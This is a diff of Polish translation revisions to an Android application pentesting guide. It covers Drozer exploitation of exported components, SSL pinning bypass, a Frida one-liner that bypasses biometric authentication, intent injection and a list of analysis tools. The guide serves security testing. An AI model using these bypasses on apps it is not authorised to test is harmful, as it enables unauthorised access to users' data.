- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Wersja darmowa:** Edycja osobista, musisz założyć konto. _Zaleca się **pobranie** wersji **Z** _**VirtualBox**, aby uniknąć potencjalnych błędów._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Darmowa wersja:** Edycja osobista, musisz założyć konto. _Zaleca się **pobranie** wersji **Z** _**VirtualBox**, aby uniknąć potencjalnych błędów._)
|
||||
- [**Nox**](https://es.bignox.com) (Darmowy, ale nie obsługuje Frida ani Drozer).
|
||||
|
||||
> [!NOTE]
|
||||
> Podczas tworzenia nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
|
||||
|
||||
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazie:
|
||||
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazku:
|
||||
|
||||
.png>)
|
||||
|
||||
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
|
||||
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
|
||||
|
||||
#### Użyj fizycznego urządzenia
|
||||
|
||||
@ -259,8 +289,8 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
||||
4. Naciśnij **Numer kompilacji** 7 razy.
|
||||
5. Wróć i znajdziesz **Opcje dewelopera**.
|
||||
|
||||
> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
||||
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
|
||||
> Gdy zainstalujesz aplikację, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
||||
> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
|
||||
|
||||
### Niezamierzony wyciek danych
|
||||
|
||||
@ -269,7 +299,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
||||
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||
> Zauważ, że od **nowszych wersji niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
|
||||
|
||||
**Bufor kopiowania/wklejania**
|
||||
@ -297,13 +327,13 @@ Wylicz tabele używając `.tables` i wylicz kolumny tabel używając `.schema <t
|
||||
|
||||
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
|
||||
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcję z systemem operacyjnym.\
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w kolejnych sekcjach.
|
||||
|
||||
### Eksploatacja eksportowanych aktywności
|
||||
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest aktywność Androida.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Pamiętaj również, że kod aktywności zaczyna się w **metodzie `onCreate`**.
|
||||
Pamiętaj również, że kod aktywności zaczyna się w metodzie **`onCreate`**.
|
||||
|
||||
**Ominięcie autoryzacji**
|
||||
|
||||
@ -329,7 +359,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij tutaj**](./#tapjacking).
|
||||
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Więcej informacji o [**tym, czym jest Tapjacking, znajdziesz w tym linku**](./#tapjacking).
|
||||
|
||||
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
||||
|
||||
@ -390,8 +420,8 @@ Ciekawe [zgłoszenie bug bounty](https://hackerone.com/reports/855618) dotycząc
|
||||
### Wykrywanie i weryfikacja warstwy transportowej
|
||||
|
||||
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
|
||||
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
|
||||
- **Wycieki prywatnych informacji** stanowią ryzyko, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
|
||||
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
|
||||
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
|
||||
|
||||
#### Weryfikacja certyfikatu
|
||||
|
||||
@ -403,9 +433,9 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
|
||||
|
||||
#### Inspekcja ruchu
|
||||
|
||||
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Obejście SSL Pinning
|
||||
|
||||
@ -419,7 +449,7 @@ Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspi
|
||||
|
||||
#### Szukanie powszechnych podatności w sieci
|
||||
|
||||
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
|
||||
Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
|
||||
|
||||
### Frida
|
||||
|
||||
@ -427,7 +457,7 @@ Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczeg
|
||||
**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
|
||||
Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak używać Frida.
|
||||
|
||||
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/)
|
||||
- Naucz się, jak używać Frida: [**Frida tutorial**](frida-tutorial/)
|
||||
- Nieco "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection jest świetny do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Możesz znaleźć kilka niesamowitych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
@ -452,7 +482,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Wrażliwe dane w Keystore**
|
||||
|
||||
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||
|
||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
||||
|
||||
@ -466,7 +496,7 @@ Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniani
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Obrazy tła**
|
||||
### **Obrazy w tle**
|
||||
|
||||
Gdy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej.
|
||||
|
||||
@ -474,7 +504,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
|
||||
|
||||
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -486,27 +516,42 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
|
||||
|
||||
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
|
||||
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
|
||||
### Kluczowe Wnioski
|
||||
|
||||
- **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
|
||||
- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
|
||||
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
|
||||
- Konwersja URL-a na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
||||
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
|
||||
|
||||
### Wstrzyknięcia po stronie klienta Android i inne
|
||||
### Wstrzyknięcia po stronie klienta Androida i inne
|
||||
|
||||
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
|
||||
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||
|
||||
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||
- **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebView (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Inkluzja lokalnych plików:** WebView powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Wgląd w Hacking**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem.
|
||||
|
||||
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom.
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy.
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
## Analiza Automatyczna
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
@ -534,7 +579,7 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
|
||||
- Przechwytywać **ruch HTTPS**
|
||||
- Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
|
||||
|
||||
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
|
||||
Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
|
||||
|
||||
**Frida**
|
||||
|
||||
@ -553,7 +598,7 @@ Ponadto masz kilka dodatkowych funkcji Frida:
|
||||
- **Capture String Comparisons**: Może być bardzo przydatne. Pokaże **2 porównywane ciągi** i czy wynik był prawdziwy czy fałszywy.
|
||||
- **Enumerate Class Methods**: Podaj nazwę klasy (np. "java.io.File") i wydrukuje wszystkie metody klasy.
|
||||
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod Android API.
|
||||
|
||||
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
|
||||
@ -585,7 +630,7 @@ Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API
|
||||
### Wspomagana analiza dynamiczna z Inspeckage
|
||||
|
||||
Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
To narzędzie użyje kilku **Hooks**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
|
||||
To narzędzie użyje kilku **Hooków**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
@ -617,7 +662,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
|
||||
|
||||
Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||
Wszystkie reguły są zdefiniowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
|
||||
|
||||
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -631,7 +676,7 @@ StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowc
|
||||
|
||||
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||
|
||||
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -647,7 +692,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach rozwijanych przez aplikację na Androida.
|
||||
|
||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtkodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
Wykrywanie odbywa się za pomocą **analizy statycznej** bajtowego kodu Dalvik aplikacji, reprezentowanego jako **Smali**, z wykorzystaniem biblioteki [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
To narzędzie szuka **typowych zachowań "złych" aplikacji**, takich jak: eksfiltracja identyfikatorów telekomunikacyjnych, przechwytywanie strumieni audio/wideo, modyfikacja danych PIM, wykonanie dowolnego kodu...
|
||||
```
|
||||
@ -657,7 +702,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
|
||||
|
||||
Może:
|
||||
|
||||
@ -700,17 +745,13 @@ Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr
|
||||
|
||||
Możesz przesłać obfuskowane APK na ich platformę.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Google'a Gemini.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
|
||||
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **próbuje zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
|
||||
APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -736,4 +777,19 @@ AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, za
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Hacking Insights**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
|
||||
|
||||
**Latest Announcements**\
|
||||
Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -26,7 +26,7 @@ Jeśli otrzymasz błąd podobny do poniższego w wirtualnym oprogramowaniu Andro
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
To dlatego, że próbujesz połączyć się z serwerem ADB o innej wersji. Po prostu spróbuj znaleźć binarkę adb, której używa oprogramowanie (przejdź do `C:\Program Files\Genymobile\Genymotion` i wyszukaj adb.exe)
|
||||
To dlatego, że próbujesz połączyć się z serwerem ADB o innej wersji. Po prostu spróbuj znaleźć binarny plik adb, którego używa oprogramowanie (przejdź do `C:\Program Files\Genymobile\Genymotion` i wyszukaj adb.exe)
|
||||
|
||||
## Kilka urządzeń
|
||||
|
||||
@ -54,7 +54,7 @@ adb connect 127.0.0.1:5555
|
||||
|
||||
## Instalacja/Deinstalacja
|
||||
|
||||
### adb install \[opcja] \<ścieżka>
|
||||
### adb install \[option] \<path>
|
||||
```bash
|
||||
adb install test.apk
|
||||
|
||||
@ -202,7 +202,7 @@ flashowanie/przywracanie pakietów Android update.zip.
|
||||
|
||||
## Logcat
|
||||
|
||||
Aby **filtrować wiadomości tylko jednej aplikacji**, uzyskaj PID aplikacji i użyj grep (linux/macos) lub findstr (windows), aby filtrować wyjście logcat:
|
||||
Aby **filtrować wiadomości tylko jednej aplikacji**, uzyskaj PID aplikacji i użyj grep (linux/macos) lub findstr (windows), aby przefiltrować wyjście logcat:
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
@ -269,7 +269,7 @@ adb shell dumpsys activity
|
||||
|
||||
# Kopia zapasowa
|
||||
|
||||
Utwórz kopię zapasową urządzenia z systemem android za pomocą adb.
|
||||
Utwórz kopię zapasową urządzenia z systemem Android za pomocą adb.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
@ -7,11 +7,11 @@
|
||||
**Istnieją dwie warstwy:**
|
||||
|
||||
- **OS**, który utrzymuje zainstalowane aplikacje w izolacji od siebie.
|
||||
- **aplikacja sama w sobie**, która pozwala deweloperom na **ujawnienie określonych funkcjonalności** i konfiguruje możliwości aplikacji.
|
||||
- **aplikacja sama w sobie**, która pozwala deweloperom na **ujawnienie pewnych funkcjonalności** i konfiguruje możliwości aplikacji.
|
||||
|
||||
### Separacja UID
|
||||
|
||||
**Każdej aplikacji przypisany jest określony identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub współdzielonymi** plikami. Dlatego tylko sama aplikacja, niektóre komponenty OS i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
**Każdej aplikacji przypisany jest specyficzny identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub z plikami współdzielonymi**. Dlatego tylko sama aplikacja, niektóre komponenty OS i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
|
||||
### Współdzielenie UID
|
||||
|
||||
@ -26,13 +26,13 @@ Od Androida 5.0(L) **SELinux** jest egzekwowany. Zasadniczo, SELinux odmawia wsz
|
||||
### Uprawnienia
|
||||
|
